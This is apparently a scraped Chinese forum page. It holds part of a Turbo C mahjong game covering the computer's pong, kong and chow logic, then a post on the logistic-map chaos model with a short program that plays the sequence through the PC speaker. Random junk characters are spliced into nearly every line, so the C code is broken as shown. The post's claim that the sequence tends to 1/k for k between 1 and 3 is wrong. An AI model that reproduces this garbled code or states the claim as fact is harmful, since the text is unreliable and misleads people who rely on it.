. M. p0 T& a/ N& m8 }1 Xx1=140;6 I5 J, S0 C4 V- H& J- a" O
y1=165;
' X1 M. `7 B# ZfillRectangle(x1,y1,x1+20,y1+4,0);
9 z* h" i3 X! X3 P+ v, K: ]}5 z5 i, y; I) K3 C0 V& s' l2 R
if(every==7)" d8 W: g+ u& F' |7 k
{! i4 Z; l4 C& h9 d
x1=160;
6 M' A& v: l7 m1 W1 {y1=165;4 x. X  E/ ]: @% s1 r. \/ s
fillRectangle(x1,y1,x1+20,y1+4,0);1 \" b9 h1 P3 y" M% V/ `. P# d0 j& C
}
6 m: Y: K. C$ h3 }* Nif(every==8)
. y) q- x+ a# ?6 K( X2 m{. t; J7 @3 o# c! z9 y# o5 G
x1=180;# \, r( n' y; r  R+ f; ]
y1=165;* K5 T: e$ c+ Q
fillRectangle(x1,y1,x1+20,y1+4,0);
) T2 @/ \" A# o/ L0 e}& }; V. h5 z0 i8 {/ V9 R
if(every==9)0 w- x, P2 U, a
{* {1 Z; S5 y3 c1 v( G; d+ B$ V
x1=200;( H* \( ~+ x% G) }* m6 c  ~
y1=165;
5 _! q' i8 R7 A) P" G1 L. gfillRectangle(x1,y1,x1+20,y1+4,0);  g0 E" K. ]! g" o, ^7 h9 m' X
}7 ?5 T2 {) d! w: R' i
if(every==10)
: ^: D5 ^: v: Y! R, ?{
" a: L. B' t% H" u! V5 d1 l0 a" O+ Yx1=220;; f4 M2 R2 x% M3 y6 @
y1=165;
8 F) T: D) r/ |. @: p: F& `fillRectangle(x1,y1,x1+20,y1+4,0);# r% ]1 m9 d1 C' I
}
( S& u$ t0 M6 c( {4 M) fif(every==11)+ e8 n& {0 K- T! N
{- U! ]& U, j5 L5 h: E1 p/ ^
x1=240;
8 V" B+ j* B; C- F2 e& }, u' Yy1=165;  {, ^& n* B7 E5 J
fillRectangle(x1,y1,x1+20,y1+4,0);3 E$ @2 q2 {8 |. N$ V
}
- @" u+ G' X% G' s: F6 eif(every==12)
4 }! D# s# k! x* T- d# O# ^{5 k/ W5 K. B2 @+ x0 S
x1=260;
+ Y4 D5 D( k! ]2 ~& k! M8 uy1=165;4 l; `( Q* d" G5 j2 R
fillRectangle(x1,y1,x1+20,y1+4,0);
, C" d4 X* T- z}
7 s: w- x& g3 h$ X$ M  ^- \" |8 T- ]4 P2 H# m6 U% Z4 E! `: m. s( y+ J
zz=0;% W( v% T  T5 O
every++;( M0 ?3 p7 E$ ?) O- F' z
z=z+20;
# X. r8 d" m  m8 d3 H, U. N% F, j}
: R) `8 O3 G( t; Eshowbmp(every);
; [2 G" c; z$ \6 i0 tkey=keyy;
, Q- C8 v! P) \if(keyy==ENTER). \) ^, }* E" z) H
{" [3 Y/ z9 e8 [0 O0 k
rgzn(every); /*********************/
; A8 {8 k* k3 L4 I2 e3 p. l* Oif(sing==1) /*如果可以乓,做相应的处理*/
' P: d2 t( ^+ r+ n8 Y: a{
, d! U8 p1 Z1 x, |/ q% a0 @' Akkk=0;
- A2 D* X  y1 H7 {+ fkkkk=0;
' `* p+ s3 Q5 r! P( kwhile(kkk&lt;=computer.m)
3 L* C, ^' v  b. F{
. X/ c0 A+ i. R( J: n9 h; jif(computer.pp[kkk].p!=1)
2 ~/ ?: e! S* F- A. h& r3 L& \0 L{! w1 r3 Q5 q. y6 A8 Q
comp.pp[kkkk].k=computer.pp[kkk].k;* T  t8 C, u* z; Q) t/ ~
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
% y' _& K2 }9 ~6 acomp.pp[kkkk].number=computer.pp[kkk].number;; s3 G+ U/ ~7 o4 Z; S
kkkk++;
; @7 g7 U0 r& s- g+ {}+ \) s* ~7 E, j; g7 c" v
else
, Y! s, X4 @8 y+ B% f0 l{
5 I( R6 o& R0 gm[computer.pp[kkk].number].data1=1;
4 x$ K) ?) L1 a$ J8 Zdwei=computer.pp[kkk].number;5 z3 X4 n8 {7 R) X- D9 O
computer.pp[kkk].p=0;$ e. {: h$ o: X0 ~- k
}
/ h+ C6 p8 z- E& S7 jkkk++;) R/ e7 o. y$ }# e! a+ i9 t' r
}
* @  k' M$ ?$ M2 k$ Dll=0;
# G- r/ g7 K* T) ]( B' N: ?# R8 [% X9 K/ x
while(ll&lt;3)5 f8 M  C3 H0 m6 j
{ zl=zl+20;
$ e  B  `( n1 Mbmpp(dwei); /*显示乓的牌*/
4 P- C! H& L8 @" oll++;" A$ l, K, ^/ ~
}9 l  q# Z, z# I6 }  d0 K; s1 W

0 L1 j; v7 W* d8 Fzl=zl+9600-60;
( p# G0 O7 {1 r: y% Jkkk=0;
7 ?4 A$ N8 ]. F/ P* {# r' T) X3 Kcomputer.m=computer.m-2;3 l+ |* i$ B4 K' V
while(kkk&lt;=computer.m): d! X3 H9 D+ j3 \
{
( j7 |2 f! i2 Tcomputer.pp[kkk].k=comp.pp[kkk].k;
" X* B$ _& T1 @6 e0 bcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
7 }/ g8 R' ]; fcomputer.pp[kkk].number=comp.pp[kkk].number;
* X4 f4 E5 B& b& `1 tkkk++;7 @/ R5 B" `. E1 U5 @
}
$ b& g, M  [: r0 o  Yll=0;8 ?8 D/ r5 Q# \% y9 Y8 u
temp=random(computer.m); /*出牌等待完善*/7 F& ]  l: [8 }. t5 B2 y% ]
zyy=zyy+9280+20;
7 g/ i' N6 E1 [" ushowcbmp(temp);6 H$ |7 w& Y% o& x  Q
zyy=zyy-9280;
& U5 [7 G8 k, ]0 |/*****/$ D* {( |# }' v8 e
rgznme(temp); 3 F4 Q) I( a; y! m! S
panduan();" k' I6 r7 ?3 y7 L
if(me.m==0): l* o% B2 \1 r% A2 E5 ]
if(second==1 &amp;&amp; threes==0)3 M: C' G2 d/ ]
printf("you win!");0 J. z: F8 y% y4 v* v. L  K0 d% N' v
if(me.m==3)- A  E) i9 s) n
if(second==1 &amp;&amp; threes==1)8 k: y9 l6 T9 W
printf("you win!");5 X, \5 Q0 @% z4 {& s
if(me.m==6)) k4 x6 @. Y' ]3 M/ ~, S) m1 s5 y
if(second==1 &amp;&amp; threes==2)
. z6 A  x+ n. m7 M- B7 [printf("you win!");
6 k# e# b3 p- R# c+ d4 ~if(me.m==9)
/ s" @- ]8 A/ \if(second==1 &amp;&amp; threes==3)
6 i: o4 x7 v4 {printf("you win!");, i- o3 H' f4 ]. d) p$ C6 H0 M+ D
if(me.m==12)+ f( w( R, {/ l5 ]+ G" e1 i
if(second==1 &amp;&amp; threes==4)
, f5 C7 ?! `! w* H) A) c- A! Nprintf("you win!");* l. a/ \/ A* A! o7 `2 y0 n
$ c: K6 V3 D1 ^% u0 D7 R
kkk=0;
' p+ W5 K# Q6 u, p3 P5 p* Mkkkk=0;1 d9 ^  y1 D* l* ]
while(kkk&lt;=computer.m)! `2 ^" }0 G+ K& Y/ H) q& q
{8 {* Z; Q# z1 u, N, z  @
if(kkk!=temp): x) E$ W2 ~. M
{& R  R4 L; `( }
comp.pp[kkkk].k=computer.pp[kkk].k;. `" o( c4 q9 ]
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;$ Q. a3 t# [8 T3 y
comp.pp[kkkk].number=computer.pp[kkk].number;  K9 a0 e* Z$ y
kkkk++;( S8 y8 l$ C. l. w' r! l  u
}
& c9 g& z  O/ r* _: Uelse
; K, s: r4 J4 ]3 f" M( x3 f! }m[computer.pp[kkk].number].data1=1;& P' q; V8 [$ Y7 d
kkk++;
6 i3 I, y7 r$ P}. f, @! W% U( x# p
kkk=0;% M9 y* f3 g+ z8 q& y
computer.m=computer.m-1;  l& `9 [/ N7 X
while(kkk&lt;=computer.m) ' E  ^/ `8 a+ W" q
{$ U. X3 p/ E1 y8 B9 M2 j
computer.pp[kkk].k=comp.pp[kkk].k;, }* F- p# a, }4 ]$ \3 t% u
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;9 i5 Q; r% k! B  l) q
computer.pp[kkk].number=comp.pp[kkk].number;
  q; c' e- ?0 @" i- m/ k. ykkk++;
( J# S  _: E4 p3 v1 B}' ]$ Z% I4 L. y' f
fillRectangle(0,0,320,30,0);
2 W) Q, j* p5 p" t2 `" \6 ~6 @8 Zn=computer.m;" y3 J: @+ e' k5 U; y
ll=0;
" I% B0 M* d$ X# t* Kzy=0;$ U  ^2 K1 W' x) ?
while(ll&lt;=n)
! H1 v2 Q0 l6 r' |1 ?6 _6 y{
% }0 w0 d9 f' q3 @+ w# tzy=zy+20;
* x+ |/ r& {. Oshowybmp(ll);
9 x* y0 [1 C: |# u5 M9 Mll++;- r/ D5 a, w6 b% s
}
  u, n2 v6 G4 j& d9 Z# a) }ll=0;
7 r' J5 u, e8 e9 Jgetch();3 L  @7 c1 h' D, X3 {! h+ T3 _6 ]4 N2 r
sing=0;
  b$ ], V7 K6 l4 H0 [( A* ~sing1=1;
" V6 f" F" K& P) R}
4 p6 n0 Z8 {3 F9 V: w6 j; Q% Y; H$ V  \8 j# l7 x/ p
if(sing==2) /*如果可以杠的做相应处理*/
: c  N" [, v. |  I' H% H{
% U  _, E) ~! u, u6 R& h$ p; d4 U4 |) hkkk=0;! p4 i5 O* D  W8 J$ e3 J3 |9 C' K& H
kkkk=0;% u4 O. ^: y# [' e8 S( l* l0 j) a
while(kkk&lt;=computer.m)
) K( t5 x- F" g. K! j% r  S: n{
! i) o! h* t: M- A+ W4 R$ w" xif(computer.pp[kkk].g!=1)
! B0 w! c2 x4 y' `{
6 M& n. a5 D0 ~# C0 d9 K& b' Hcomp.pp[kkkk].k=computer.pp[kkk].k;
4 P% @+ R7 c6 W: Lcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
7 D7 @% ~4 o, }1 t; N: ^8 G' kcomp.pp[kkkk].number=computer.pp[kkk].number;
& z  J, O/ A- _  ]; ]kkkk++;5 @5 U$ z+ D* C: {; O. S5 M
}
& Z8 D- ^6 ?) Z0 Ielse
8 j& F+ p/ B" H" B) Z{
5 f7 V: k( D. {5 |/ Q; g0 c  nm[computer.pp[kkk].number].data1=1;
( J3 p* a6 b  V1 Vdweig=computer.pp[kkk].number;  y( `* j" k& X: U/ P
computer.pp[kkk].g=0;
# H1 d6 {  M  c9 ~% g4 W! d3 e}0 R( P% P! s3 P% Z* o- C
kkk++;
! ]9 C4 V8 |9 p5 q  q}
1 {- Q9 H, v' M8 V5 L5 {  u4 Cll=0;
! I# b* Q% {* m; X9 g' \  \& s
4 K+ l; O' X2 U9 _' t4 x+ f2 gwhile(ll&lt;=3)& Y/ i5 d+ x) m! q& q2 p* ^
{ zl=zl+20;* r& {9 M$ f8 ~- K/ }
bmpp(dweig); /*显示杠的牌*/
# O. ~( _: [2 D- W! a- }8 t7 {8 Q4 |ll++;. m: j" E& V& s' Y( r- k% S" @, J
}  }6 ?, I8 v- t5 ?9 i6 c4 V
zl=zl+9600-60;
; c) C* Q7 T6 B# O! N1 m3 s: P5 tkkk=0;
0 @7 a' {! Y1 @1 scomputer.m=computer.m-3;
- ^5 Q! n6 x! Y+ h( X8 rwhile(kkk&lt;=computer.m)
% k' v" `: V' i4 u( ^" c" w& v5 {{
6 Y+ L& ?: t# f, Y6 [  z5 Zcomputer.pp[kkk].k=comp.pp[kkk].k;; V4 q: V0 U# Y% I7 L, X5 p0 g9 q# J
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
& D1 A& l- w1 h; Rcomputer.pp[kkk].number=comp.pp[kkk].number;
7 @! k& l+ Y: K8 N: R8 Bkkk++;6 I" e/ Q  U/ |
}" y0 X; R" v8 w# p- l/ {. c8 ]
kk=0;2 N/ s4 N2 E0 w! ]; e$ Q/ x6 o
computer.m++; /*加一个牌的容量*/
4 I: _, Z/ U; }9 z$ Kwhile(kk!=1); c: G0 S6 N5 }4 W
{
- S$ K/ O& L; K0 V6 a9 {% [temp=random(136); /*出牌*/2 R% b/ H& r2 k5 P1 b! ~5 l
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
, n  p8 j; L- J3 {" J/ n2 z0 D/ [{
7 j& b0 e: L7 v/ i$ s$ l+ H9 j' |computer.pp[computer.m].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/2 q+ W- I! J) L0 U" k' N8 ?  ~
computer.pp[computer.m].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
( K0 g! S" F7 M$ kcomputer.pp[computer.m].number=temp; /*第几张,用来排序*/$ j4 I. l' p! s0 H$ X/ N
m[temp].data2=2; /*判断牌是谁的,2为电脑*/( F% u7 ]4 \; I) B5 j
kk=1;5 D" D( U; [  |4 K/ I8 s; @& f
}
- T; [0 D( d% x& K! R# }4 d5 p4 m}8 Q$ \) o) v% g  J; x' e
comlipai();
  ]1 t# {: g6 H8 m4 z1 ptemp=random(computer.m); /*出牌,等待完善*/
& i8 S% S- g) f0 J5 dzyy=zyy+9280+20;
8 u" Z" c& m' \: y6 wshowcbmp(temp);
: e8 w# M8 w4 h# {3 qzyy=zyy-9280;3 W4 ?' g' f% ^: D. h
/*****/
3 Q- u7 g" f+ t- Q: l8 Xrgznme(temp);
7 _# @2 e+ Z! I7 T0 m  b7 ~panduan();
! t$ K% w: O( k8 S: H6 v$ Uif(me.m==0)2 f# w; u4 U1 K4 J7 k# g
if(second==1 &amp;&amp; threes==0)
: X9 q7 c/ I& d; k% h( F0 c, Eprintf("you win!");
6 C3 Q; w( h. Sif(me.m==3)
5 O* k4 N+ {" g, sif(second==1 &amp;&amp; threes==1)/ i6 A  z/ _$ H# m: r0 ]
printf("you win!");
& c, k. P9 r  K; }6 }0 c8 Jif(me.m==6)5 N5 B9 J" s7 ]0 ?6 b/ n1 ^
if(second==1 &amp;&amp; threes==2)/ L4 b, [0 S8 }0 M& d! f+ k, [" H
printf("you win!");
2 \) L/ H5 T8 _4 V- R+ Mif(me.m==9)) q7 l$ k( F$ g/ m' N
if(second==1 &amp;&amp; threes==3)8 L# e" H1 c, q
printf("you win!");& H8 V0 c; F# Z6 E
if(me.m==12)
- e6 i$ o* ], X9 S6 {& Y" Wif(second==1 &amp;&amp; threes==4)
2 O* p, x+ s9 C7 F. ]# m* Qprintf("you win!");
; y% H8 J& i! h" d# {: F' |1 p
kkk=0;. J% E- h: `9 L, I7 B
kkkk=0;/ e; u0 C! O. i2 s3 l
while(kkk&lt;=computer.m) /*把未选的牌放到零时变量*/
# Q; J' d# O9 O+ `) U) s6 F{
& U/ B# c# w5 |4 Qif(kkk!=temp)' i# m, u4 [3 A% Y/ F4 B) S
{
- h: y9 v6 |3 a: i) G3 Mcomp.pp[kkkk].k=computer.pp[kkk].k;
0 y0 ?' d* a- |2 ycomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
$ x3 [- p+ s( Ucomp.pp[kkkk].number=computer.pp[kkk].number;# p% E- m7 h8 ?5 w
kkkk++;7 Y# o. T. n0 a1 H  J2 L
}; G# |) G, r8 y3 v) Y  Q
else3 Q5 c3 }# ^5 k' i. g
m[computer.pp[kkk].number].data1=1;' O  P6 n9 V; b& f  U) k: z0 y
kkk++;
8 Y3 j6 q. s  G5 ~+ f9 v}
& H3 D% p. n( \1 skkk=0;0 e/ b  i' T. P  m0 l! L
computer.m=computer.m-1; /*把未选到的剩余牌放入电脑手中*/( V8 J2 c1 a& P2 E4 T' n+ I
while(kkk&lt;=computer.m)
3 ?6 b4 A1 c3 E# R; q{
  ]% w9 w# F( A( N1 t( ocomputer.pp[kkk].k=comp.pp[kkk].k;1 _2 b3 D' c9 I
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
7 [$ j* s0 p+ y. Ccomputer.pp[kkk].number=comp.pp[kkk].number;0 u6 P7 `: H; o: D* n. [
kkk++;
* W# H0 i& b( g2 E}
6 z' W7 l: E7 mfillRectangle(0,0,320,30,0);' s* s: t9 O) u* Q2 r
ll=0;
2 s# D% w; c$ o4 r( Czy=0;# G8 Q, X9 C# o" T
while(ll&lt;=computer.m)
  T1 }8 F: |; w{  i9 a2 s& f$ ^' e- L& ], s+ _  E
zy=zy+20;8 k  V0 X' s6 L  {
showybmp(ll);$ M) h  L' r8 R+ [
ll++;, v( K" [: a: \2 _& i8 y; p
}
+ a- h: a: r% d1 Z8 J* v" Jsing=0;! f/ b7 ^, l! X6 m* M4 q# b
sing1=1;
4 K  @: W7 [" B& u0 M}* K8 }2 K1 V' b$ b, ?+ \1 L3 _
if(sing==7) /*如果可以吃的,做相应处理*/; j. V. T" ~& [
{ nn=0;) s- y# T* h0 m" t# U6 G
kkk=0;% Z+ i# I: u7 J, N9 Q- P
kkkk=0;& w& k; w3 @) d- y- s0 v  T& o
while(kkk&lt;=computer.m)5 @) y0 T) e' k1 L' O
{
; T" I7 A8 z( q, [% g( M; Fif(computer.pp[kkk].c!=1)2 z4 m5 z# v# L! n2 X; _. f, O
{) o8 h6 x5 C+ l& D+ W
comp.pp[kkkk].k=computer.pp[kkk].k;
3 B6 I4 b$ J4 A& U+ Y1 o, u, Ocomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
7 ^6 _, F; }( J" L5 s) {9 a( zcomp.pp[kkkk].number=computer.pp[kkk].number;0 Y5 Z  F/ z" [: s
kkkk++;
8 c' }& t+ \  q: c8 c}
  x! j6 v, x' \. O3 n7 telse! d9 \& K/ `0 w& f9 Q# A; F2 E
{& s% Q& J; |+ A9 g% I- ?' f
m[computer.pp[kkk].number].data1=1;* \' i) ^% z$ u
dw[nn++]=computer.pp[kkk].number;7 R1 g, C" H9 h# T2 G3 I
computer.pp[kkk].c=0;
6 ?6 }6 J8 B1 h2 Y3 u}
; _% C' l1 c) Rkkk++;
" {0 s, T% O( a- X! F}
: ~* |, [( q: [6 x! ?/ y  s% P1 @+ _( {
if(me.pp[every].number&lt;dw[0])% g4 _$ O% Y% b' Z& V0 o* p
{/ |8 y4 z0 x" m7 D6 @- o
dw[2]=dw[1];9 F0 W) u+ _5 A
dw[1]=dw[0];
3 M7 o% |2 Z1 C6 u4 X" e7 {: Zdw[0]=me.pp[every].number;
. Q0 L  G8 ~. N9 f1 j! Q}6 `- I4 e1 s% ~, f/ n8 {: a
if(me.pp[every].number&gt;dw[1])
) m7 @0 }' U9 n$ u* }1 Z& b9 G" t6 }{1 N1 T. w- s+ }) z$ m4 e
dw[2]=me.pp[every].number;# s- J% `1 `0 R9 b/ s0 N
}. A4 g0 U% j# |; K, _6 r
if(me.pp[every].number&gt;dw[0] &amp;&amp; me.pp[every].number&lt;dw[1])
0 s: `( g8 H" g  y{
+ _8 {  f5 z$ A! [4 I  adw[2]=dw[1];
7 C6 h- z3 ^+ O+ z: sdw[1]=me.pp[every].number;& E' \! _$ Z; s
}
2 k/ l' _8 ^  b7 g! P, v, _nn=0;
3 J. G6 q8 ]1 f. s( owhile(nn&lt;3)
, l' \7 L3 G4 ?8 o% i3 D: K9 B{ zl=zl+20;6 ]! ~+ w; W, ~  [, f+ p  K/ v
bmpp(dw[nn]); /*显示吃的牌*/  g0 ?' H% {" f
nn++;
! e: ~, N4 `* }) s. D# h6 z}
" t2 C+ w5 K, ]7 r4 _# tzl=zl+9600-60;' D* W% e4 c* T( X5 Y# k$ `( x
kkk=0;  E, j7 t2 u. K% a( V' g3 Q
computer.m=computer.m-2;6 f; P* q. Y# D6 S* n9 E6 q( u$ J
while(kkk&lt;=computer.m)
2 b$ s+ h* p5 y3 B/ ~4 h{
5 T) f: V8 _+ Mcomputer.pp[kkk].k=comp.pp[kkk].k;! A8 @; M% }: z+ W
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
+ Y' R1 h( G$ y3 |2 N2 p; acomputer.pp[kkk].number=comp.pp[kkk].number;# K5 D( l$ A# A: f% V* h' [8 N
kkk++;( x( t! ~. a- N8 B* ]
}3 q0 g! E% D7 L; Y) \" ^
ll=0;& f8 v- l. R7 {2 T
temp=random(computer.m); /*出牌等待完善*/
- T  T( c. W; K' ~zyy=zyy+9280+20;8 J4 E* Q3 Z( x& y  O1 u- |% w
showcbmp(temp);
- e/ a) v! p9 f$ h& ]0 L/ I5 H6 Ezyy=zyy-9280;5 G+ |# F' w8 z4 i
/*****/, d, G- ~: i+ \
rgznme(temp);
8 v+ W2 S4 d. ]$ Y5 p; Y# {panduan();) W$ G! R) f( S
if(me.m==0)
/ X8 \2 C' f2 x- aif(second==1 &amp;&amp; threes==0)5 b/ a( J/ _& J/ M# e
printf("you win!");8 {: j: x+ X4 m. o
if(me.m==3)! r) ]: {* R$ E4 @
if(second==1 &amp;&amp; threes==1)
  O! ^/ z* o' P* F; ^0 p7 Wprintf("you win!");
4 s2 n# s- P0 _+ J9 _7 oif(me.m==6)! T: F' u! @/ w6 O! T
if(second==1 &amp;&amp; threes==2)
6 t- i' G% e& J5 P) q% m, t  Zprintf("you win!");
+ a0 `9 W7 H% H" P# ?+ l9 p" t- n: Vif(me.m==9)$ |9 U7 C, i$ R! B5 c0 G
if(second==1 &amp;&amp; threes==3)
. o& ?' h$ U$ ~' Vprintf("you win!");
& l: \& }  [% {, i( m4 o- hif(me.m==12)
8 B* e* y' t, |/ {5 w( h5 D3 a/ Vif(second==1 &amp;&amp; threes==4)5 X; g4 S; H( E2 o8 V0 V3 r
printf("you win!");* g7 C, r2 x( A: X) y  k8 x8 W. I
! N3 W1 L3 |; Q1 p
kkk=0;/ T5 @% z1 p: A3 w' u2 L( x  ], r- j
kkkk=0;
/ [- Q1 f, U8 _/ @& H. h  O% xwhile(kkk&lt;=computer.m)8 O0 z* i; S& S. B  }# O  H; e  |
{0 \+ {/ |1 {; B- r8 _& ]
if(kkk!=temp)) m8 ?$ W6 {# ?+ ~0 g* {4 j
{! ~8 q5 o8 X1 q6 U9 K
comp.pp[kkkk].k=computer.pp[kkk].k;- G0 f# s5 J9 z- W+ W) m+ F" J: k
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
6 z0 {6 L9 q8 z4 ~3 B0 H/ H4 Icomp.pp[kkkk].number=computer.pp[kkk].number;' ^! |  j/ W  T1 \; G0 W1 P5 ^+ f
kkkk++;; p  W7 U- Q6 \5 _! ?: @+ N; U7 A
}
: F- a; ~( [* r" y: Helse  s0 }5 U& w, c3 A
m[computer.pp[kkk].number].data1=1;
' A" I: l$ z' B, D8 [* W0 dkkk++;
2 k, F7 S& j8 a( Y8 c}
0 C! |1 {. H3 H3 Zkkk=0;
- h) U+ f, j" T3 N5 n7 ncomputer.m=computer.m-1;6 [" E  a- k4 D( j! @# n5 x7 q+ q
while(kkk&lt;=computer.m) 4 \, G+ \" C8 z
{
  V. M4 ~  u( g7 a) `& hcomputer.pp[kkk].k=comp.pp[kkk].k;
; {! X& K! ]- Ocomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;* ?8 ^# V1 a/ [, N/ v& [9 E3 r
computer.pp[kkk].number=comp.pp[kkk].number;6 ^& y4 M7 ~$ E
kkk++;: u0 L# B5 \  @
}7 \5 u* v) C6 ?9 u/ c
fillRectangle(0,0,320,30,0);
: H( s8 r/ k. t- M2 Vn=computer.m;% g- O; x8 @; n, j: v, q; r6 \
ll=0;7 z) E) ]7 ], K, K2 S! G' F8 o# l
zy=0;2 H, E5 z1 [3 t+ V
while(ll&lt;=n)
# i) N3 u8 }0 i4 F- @8 [& |{
; l4 h% A  F' H2 q! s1 T6 Wzy=zy+20;
2 J8 y% r" S) D5 Ushowybmp(ll);
& V6 v8 [/ q  G; \$ n, ell++;
- G+ H" M. f5 f}
, l1 \2 G' ^  `7 p$ z  q
( |1 o$ g7 a# E6 F, {  J; |getch();
$ u# j. m, k7 E7 e, ]- ]) \( g5 g/ asing=0;
. H$ N1 w8 I) wsing1=1;, S+ }# b& w% F" S/ H9 Q
}
/ p0 K2 Q/ S5 ]2 T3 F! jif(sing==0) /*如果没有可以乓或杠的就标明牌无用*/
1 \  R/ t$ G" `; p8 }+ M{9 W' Z& f; f! l8 ]0 W7 r- a: w" H
kk=0;
. c$ j/ s* v( A6 _h=me.pp[every].number;. O% N, X* N) l" N. r
m[h].data1=1; /*此牌已经无用*/
1 W. A( [3 i8 P/ M. S- k1 Zif(sing1!=1)
4 I. z  E1 ^" g# X8 b6 B$ w  |3 C. P{
& V4 k4 F$ U, Z& o! a$ Rzyy=zyy+9280+20;+ J5 l8 U: d3 B
showbmpd(every);
8 \: A, b! g. H+ j! c3 K% A) Vzyy=zyy-9280;
1 u% N4 C  x4 J}' F- x! \/ R5 c4 h
while(kk!=1)
5 f' T2 w4 ]( g/ D% I{
$ p5 z2 [( [! m" o  d* Gtemp=random(136);
. G9 F, M6 ?8 Tif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)$ _+ Z$ c, g  n; C9 m1 v
{8 ?9 M$ h  C, C1 u! U2 Y
me.pp[every].k=m[temp].name; /*把136中之一的牌放到我的手上*/. q- B$ q) }' T5 q
me.pp[every].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
- ~  T- S% m! I# b, y$ @me.pp[every].number=temp; /*第几张,用来排序*/
, c, e3 F- H5 rm[temp].data2=1; /*判断牌是谁的*/
- f0 }+ A/ }* P  ?; Q& w4 D3 ckk=1;4 s  B3 f! B  @1 c1 I  R* b( C
}
1 t! g6 g4 O! _" c- I# R/ Gif(kk==0) /*判断如果又选择了,就从新再选*/
0 m6 e7 I7 I: r: m0 U! Nkk=0;
6 K) Y8 N8 _0 S. z  O# V; |, k  g  h  e}2 M- A5 ?, T- i, T
}& l4 o, r+ |0 U' C$ G3 p
sing=0;
3 x5 ?3 O% s" lsing1=0;
) c' Q% k9 @  [  s- cmelipai();1 I8 N0 z3 Q, c# R$ M; [) l- M3 [5 Z1 ?
n=13;
+ U  I$ S$ v" O5 d9 w1 ez1=54400;% W$ |  ~4 M/ i/ H- Z" q9 f3 F1 q
l=0;
9 @6 @1 H% K$ P4 T; y' e- Xg=z;
5 Y! \3 Y! w$ O- R0 e" Bwhile(l&lt;n)1 K; C. i% a8 A5 ?
{ z=0;5 u' k: @8 r* w$ n  w0 i
z1=z1+20;
/ {0 n1 T; G8 ^showbmp(l);
( H/ `1 S3 y# N  Rl++;3 h6 ~) m3 l$ x* N3 p
}5 P; C2 |- F$ {% L: Y/ E5 ~
z1=0;
1 D: r  z  R! t5 E+ t0 p3 O: x" M. i. V: az=g;% `6 m9 F( p; a
}
+ P- r9 ?0 @, d$ N" pkeyy=0;
% o7 e& ~% C% e3 m: Z}  h, A8 c6 D$ h8 R
- o/ t+ |) L* l' y% x* A
getch();3 x  w  @. o6 Y* L+ o/ Z  K% L( U5 k
OUTVGA;$ q; [1 M7 X! G% O
}
% n  ~' N1 |9 _5 Q/ k" U$ F+ x</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>聆听混沌的声音</FONT></B></FONT></DIV><DIV align=center><b><FONT color=#cc0000 size=3></FONT></b> </DIV><DIV align=center><>  本世纪70年代初,美国普林斯顿大学的生态学家R·May在研究昆虫群体繁殖规律时提出一个著名的模型: χ[n+1]=k*χ[n]*(1-χ[n])# w% O7 q4 O: ^2 G1 g
</P><>  其中χ[n]表示第n代群体的数目。当给定一个初始的χ[0]值,然后不停地迭代,人们发现随着k值的不同,得到的序列χn 有许多有趣的现象。当k值介于0与1之间时,χ[n]经过一定次数的迭代后都趋于0。当k值介于1和3之间时趋于1/k,当k值大于3时,经过一定次数的迭代后χ[n]在2个值之间交替变化,k值增加到3.449附近时,交替变化值又变为4个。继续增加k值,χ[n]交替变化的值的个数依4→8→16→32的次序迅速加倍,终于一片混沌。但当k值在3.835附近时,经过一定次数的迭代后,χ[n]非常简单地在3个值之间交替变化,接着又迅速依3→6→12的次序迅速增长。如此反复,在简单的方程中隐藏着令人惊奇的复杂性。χ[n]随k的变化情况如下图所示:) W+ q7 A0 m  T5 C5 W" m8 A" q
3 a6 Y+ Y; y' W
  为了体现这种复杂之中的无穷奥妙,下面这个用TC2.0编写的小程序用χ[n]大小来控制PC喇叭的发音频率,设定不同的k值,我们就可以聆听到混沌的声音。$ @: Y+ n: I2 ^+ H) L# ]- r
  <FONT color=#009900>#include <DOS.H>1 ^" n" j' k, y& m2 G! V9 x
  #include <STDIO.H>
) ~# {1 g5 O/ ^3 D* h6 W, O9 V  main(){
" o2 V, `/ N9 J0 S  int fMin=20,fMax=16000; /*fMin代表最低频率,fMax代表最高频率*/4 j# L0 q- h, e3 g6 V" }5 \$ h
  int fDis,i,j; /*fDis代表最高频率和最低频率之间的差值*/
1 Z% V% ]; \: n. X- ?  /*i,j用于循环记数*// e0 u# W! b% @
  float x=0.1,k; /*x代表x[n]的大小,设定其初始值为0.1,即x[0]=0.1*/
" z4 h+ D) H5 z+ |& H  fDis=fMax-fMin;
5 V: C. c2 ?' N0 c" k1 o  for(j=1;;j++){9 P! J, z0 q/ d3 t
  printf("lease input The value of k(1-4.0)\n"); /*输入k值*/
" D7 ~4 ~( C' e+ z; ]7 K0 I& I4 y  printf("If you want to quit,Please input:0\n"); /*如果k=0退出*/3 v! m/ ^: p7 H: p
  scanf("%f",&k);
8 Q  m: k# n3 O( ?" l  if (k==0) break;) M% W/ y2 L( [% W
  for(i=1;i&lt;100;i++) /*去除开始的100个点*/% A2 R# y3 y6 |3 B* O
  x=k*x*(1-x);
% P: u3 c* w9 Y  for (i=1;i&lt;100;i++){
7 m9 R% }8 w. H' A8 W* V8 l  x=k*x*(1-x); /*计算x的值*/
/ i7 @- @9 [& p- c  sound(x*fDis+20); /*用x的值控制PC喇叭的发音频率*/
( Z2 Q& M, A1 v' P! {  delay(1000); }
  @7 F9 M% W' P$ A8 f2 K6 C8 x" u  nosound(); }}, A7 ~8 b% T$ g- Z4 U
